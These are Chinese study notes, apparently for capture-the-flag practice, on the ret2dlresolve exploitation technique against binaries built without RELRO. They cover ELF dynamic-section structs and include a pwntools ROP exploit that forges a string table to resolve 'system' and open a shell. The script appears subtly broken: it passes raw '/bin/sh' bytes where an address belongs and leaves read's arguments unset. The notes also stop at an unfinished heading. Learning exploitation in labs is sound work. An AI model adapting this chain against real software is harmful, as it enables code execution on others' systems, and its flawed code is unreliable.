参考资料

Ret2dlresolve攻击——从No RELRO到FULL RELRO | T3stzer0's Blog (testzero-wz.com)

[新手向]ret2dl-resolve详解 - 知乎 (zhihu.com)

(21条消息) ret2dlresolve超详细教程(x86&x64)_77Pray的博客-CSDN博客

深入窥探动态链接 - 知乎 (zhihu.com)

no relro版本

在no relro保护条件下,.dynamic段在可写段开头

结构如下,图片来源于https://www.testzero-wz.com/2022/03/05/Ret2dlresolve——从No-RELRO到FULL-RELRO/#no-relro

image.png

此时可以挟持指向.dynstr结构体的字段实现修改ld寻找的函数名,并通过调用got表无记录的函数进行触发

.dynamic节点结构如下

typedef struct
{
  Elf32_Sword   d_tag;                  /* Dynamic entry type */
  union                                 
    {
      Elf32_Word d_val;                 /* Integer value */
      Elf32_Addr d_ptr;                 /* Entry Address */
    } d_un;
} Elf32_Dyn;

typedef struct
{
  Elf64_Sxword        d_tag;           /* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;               /* Integer value */
      Elf64_Addr d_ptr;                /* Address value */
    } d_un;
} Elf64_Dyn;

进一步分析下哪个字段负责寻找.dynstr段的偏移

特点:无需libc,无中生有,无需输出函数

from pwn import *
import ctypes

context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn_norelero"
libc_name = ""
remote_ip = ""
remote_port = ""

# libc = ELF(libc_name)

mode = 0

r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
    p = remote(remote_ip, remote_port)
else:
    p = process(filename)

def bpp():
    gdb.attach(p)
    pause()

def log(x):
    print("\\x1B[36m{}\\x1B[0m".format(x))

strtab = 0x4031A8
rsi_pop = 0x40119E
rdi_pop = 0x4011A0
read_addr = 0x4010A0
ret_addr = 0x4010E4
bss_addr = 0x403350+0x100

crash = 0x401050

payload = b'a'*0x28
payload += p64(rsi_pop) + p64(bss_addr)
payload += p64(read_addr)
payload += p64(rsi_pop) + p64(strtab)
payload += p64(read_addr)
payload += p64(rdi_pop) + b"/bin/sh\\x00"
payload += p64(ret_addr)
payload += p64(crash)

fake_strtab = p64(5) + p64(bss_addr)

# bpp()
sl(payload)

payload2 = b"\\x00"
for i in range(12):
    payload2 += b"system" + b'\\x00'

sl(payload2)

bpp()
sl(fake_strtab)

ia()

partial_relero